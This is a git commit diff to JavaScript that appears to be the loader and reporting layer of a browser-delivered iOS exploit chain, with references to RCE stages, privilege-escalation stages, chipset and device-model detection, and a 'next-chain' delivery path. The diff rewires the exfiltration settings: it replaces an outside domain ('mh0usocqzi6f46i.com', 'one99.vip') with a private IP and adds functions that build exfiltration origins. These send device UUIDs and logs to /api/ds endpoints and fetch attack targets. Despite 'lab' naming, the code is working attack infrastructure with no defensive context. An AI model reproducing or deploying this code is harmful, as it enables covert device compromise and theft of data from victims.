feat: ds
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
|
||||
var SERVER_LOG = true;
|
||||
let logStart = new Date().getTime();
|
||||
let logEntryID = 0;
|
||||
@@ -8,25 +8,44 @@ var offsets = {};
|
||||
var slide;
|
||||
var chipset;
|
||||
var device_model;
|
||||
var localHost = (function () {
|
||||
function labAssetBase() {
|
||||
try {
|
||||
if (typeof labDeliveryHost === 'function') {
|
||||
var fromLab = labDeliveryHost();
|
||||
if (fromLab) return String(fromLab).replace(/\/$/, '');
|
||||
}
|
||||
if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__)
|
||||
return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, '');
|
||||
if (typeof location !== 'undefined' && location.pathname) {
|
||||
var origin = (location.origin && location.origin !== 'null') ? location.origin.replace(/\/$/, '') : '';
|
||||
var m = String(location.pathname).match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
if (origin && m) return origin + m[1];
|
||||
if (origin) return origin;
|
||||
} catch (e0) {}
|
||||
try {
|
||||
var origin = (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
|
||||
? String(location.origin).replace(/\/$/, '') : '';
|
||||
var path = '/next-chain';
|
||||
try {
|
||||
if (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.deliveryPath)
|
||||
path = String(window.NEWS2_CONFIG.deliveryPath);
|
||||
} catch (e1) {}
|
||||
if (path.charAt(0) !== '/') path = '/' + path;
|
||||
return origin + path.replace(/\/+$/, '');
|
||||
} catch (e2) {}
|
||||
return '';
|
||||
}
|
||||
function labApiBase() {
|
||||
try {
|
||||
var ex = (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host)
|
||||
? window.__LAB_EXFIL__
|
||||
: (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil);
|
||||
if (ex && ex.host) {
|
||||
var tls = !!(ex.tls || ex.prefer_https);
|
||||
var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80);
|
||||
var origin = (tls ? 'https://' : 'http://') + String(ex.host).replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port;
|
||||
return origin;
|
||||
}
|
||||
} catch (e0) {}
|
||||
try {
|
||||
if (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
|
||||
return location.origin.replace(/\/$/, '');
|
||||
} catch (e) {}
|
||||
return "";
|
||||
})();
|
||||
return String(location.origin).replace(/\/$/, '');
|
||||
} catch (e1) {}
|
||||
return '';
|
||||
}
|
||||
var localHost = labAssetBase();
|
||||
function resolveLabDeviceUUID() {
|
||||
let du = '';
|
||||
try {
|
||||
@@ -66,7 +85,7 @@ function print(x, reportError = false, dumphex = false) {
|
||||
}
|
||||
}
|
||||
} catch (eP) {}
|
||||
// Server upload: errors only (progress = GET /api/ds/pe-stage / console).
|
||||
// Server upload: errors only (progress = pe_stage GETs / console).
|
||||
const isErr = reportError || /stage1_failed|fatal|Failed RCE|fail(?:ed|ure)?|error|exception|timeout|abort|InterposeTupleAll wait timeout/i.test(String(x));
|
||||
if (!isErr) return;
|
||||
if (!SERVER_LOG && !reportError) return;
|
||||
@@ -89,22 +108,7 @@ function print(x, reportError = false, dumphex = false) {
|
||||
}
|
||||
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
|
||||
const xhr = new XMLHttpRequest();
|
||||
const logUrl = (typeof labApiUrl === 'function')
|
||||
? labApiUrl('/api/ds/log?' + req)
|
||||
: (function () {
|
||||
try {
|
||||
if (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) {
|
||||
var e = window.__LAB_EXFIL__;
|
||||
var tls = !!(e.tls || e.prefer_https);
|
||||
var port = Number(tls ? (e.https_port || 443) : (e.http_port || 80));
|
||||
var origin = (tls ? 'https://' : 'http://') + String(e.host).replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
if (!((tls && port === 443) || (!tls && port === 80) || !port)) origin += ':' + port;
|
||||
return origin + '/api/ds/log?' + req;
|
||||
}
|
||||
} catch (eApi) {}
|
||||
return localHost + '/api/ds/log?' + req;
|
||||
})();
|
||||
xhr.open("GET", logUrl, true);
|
||||
xhr.open("GET", labApiBase() + "/api/ds/log?" + req , true);
|
||||
if (du) {
|
||||
try { xhr.setRequestHeader('X-Device-UUID', du); } catch (e1) {}
|
||||
}
|
||||
@@ -462,24 +466,13 @@ function parseIosVersion() {
|
||||
return null;
|
||||
}
|
||||
function resolveDeliveryHost() {
|
||||
try {
|
||||
if (typeof labDeliveryHost === 'function') {
|
||||
var fromLab = labDeliveryHost();
|
||||
if (fromLab) return String(fromLab).replace(/\/$/, '');
|
||||
}
|
||||
} catch (eLab) {}
|
||||
if (localHost && localHost.length > 4) return String(localHost).replace(/\/$/, '');
|
||||
var h = labAssetBase();
|
||||
if (h) return h;
|
||||
try {
|
||||
if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__)
|
||||
return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, '');
|
||||
if (typeof location !== 'undefined' && location.origin && location.origin !== 'null') {
|
||||
var origin = location.origin.replace(/\/$/, '');
|
||||
var m = String(location.pathname || '').match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
if (m) return origin + m[1];
|
||||
return origin;
|
||||
}
|
||||
} catch (e) {}
|
||||
return 'http://one99.vip:80';
|
||||
return labAssetBase();
|
||||
}
|
||||
function resolveExfilTarget() {
|
||||
try {
|
||||
@@ -487,23 +480,23 @@ function resolveExfilTarget() {
|
||||
return window.__LAB_EXFIL__;
|
||||
} catch (e) {}
|
||||
try {
|
||||
const apiBase = (typeof labApiUrl === 'function')
|
||||
? labApiUrl('/api/ds/chain-targets')
|
||||
: '';
|
||||
if (apiBase) {
|
||||
const xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', apiBase, false);
|
||||
xhr.send(null);
|
||||
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) {
|
||||
const d = JSON.parse(xhr.responseText);
|
||||
if (d.exfil && d.exfil.host) {
|
||||
try { if (typeof labApplyExfil === 'function') labApplyExfil(d.exfil); } catch (eA) {}
|
||||
return d.exfil;
|
||||
}
|
||||
}
|
||||
const base = labApiBase();
|
||||
if (!base) return null;
|
||||
const xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', base + '/api/ds/chain-targets', false);
|
||||
xhr.send(null);
|
||||
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) {
|
||||
const d = JSON.parse(xhr.responseText);
|
||||
if (d.exfil && d.exfil.host) return d.exfil;
|
||||
}
|
||||
} catch (e) {}
|
||||
try {
|
||||
if (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil)
|
||||
return window.NEWS2_CONFIG.exfil;
|
||||
} catch (e2) {}
|
||||
return { host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false };
|
||||
const base = labApiBase();
|
||||
const h = String(base || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
return { host: h || '127.0.0.1', http_port: 80, https_port: 443, tls: false };
|
||||
}
|
||||
function exfilFields() {
|
||||
const t = resolveExfilTarget();
|
||||
@@ -513,11 +506,11 @@ function exfilFields() {
|
||||
} catch (eDu) { deviceUUID = ''; }
|
||||
if (!t) {
|
||||
return {
|
||||
exfilHost: 'mh0usocqzi6f46i.com',
|
||||
exfilHost: '192.168.31.130',
|
||||
exfilHttpPort: 8018,
|
||||
exfilHttpsPort: 8018,
|
||||
exfilTls: false,
|
||||
exfilFallbackHost: 'mh0usocqzi6f46i.com',
|
||||
exfilFallbackHost: '192.168.31.130',
|
||||
exfilFallbackHttpPort: 8018,
|
||||
deviceUUID,
|
||||
};
|
||||
@@ -526,7 +519,7 @@ function exfilFields() {
|
||||
const hostRaw = String(t.host || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
const isIp = /^\d+\.\d+\.\d+\.\d+$/.test(hostRaw);
|
||||
if (isIp || t.prefer_https === false || t.tls === false || (t.http_port && Number(t.http_port) === 4001)) {
|
||||
const ip = isIp ? hostRaw : 'mh0usocqzi6f46i.com';
|
||||
const ip = isIp ? hostRaw : '192.168.31.130';
|
||||
return {
|
||||
exfilHost: ip,
|
||||
exfilHttpPort: t.http_port != null ? Number(t.http_port) : 4001,
|
||||
@@ -548,7 +541,7 @@ function exfilFields() {
|
||||
exfilHttpsPort: port,
|
||||
exfilTls: u.protocol === 'https:',
|
||||
statsUrl: t.stats_url,
|
||||
exfilFallbackHost: 'mh0usocqzi6f46i.com',
|
||||
exfilFallbackHost: '192.168.31.130',
|
||||
exfilFallbackHttpPort: 8018,
|
||||
deviceUUID,
|
||||
};
|
||||
@@ -561,7 +554,7 @@ function exfilFields() {
|
||||
exfilHttpPort: t.http_port != null ? t.http_port : (tls ? 443 : 4001),
|
||||
exfilHttpsPort: t.https_port != null ? t.https_port : (tls ? 443 : 4001),
|
||||
exfilTls: tls,
|
||||
exfilFallbackHost: 'mh0usocqzi6f46i.com',
|
||||
exfilFallbackHost: '192.168.31.130',
|
||||
exfilFallbackHttpPort: 8018,
|
||||
statsUrl: t.delivery_stats_url || '',
|
||||
deviceUUID,
|
||||
|
||||
Reference in New Issue
Block a user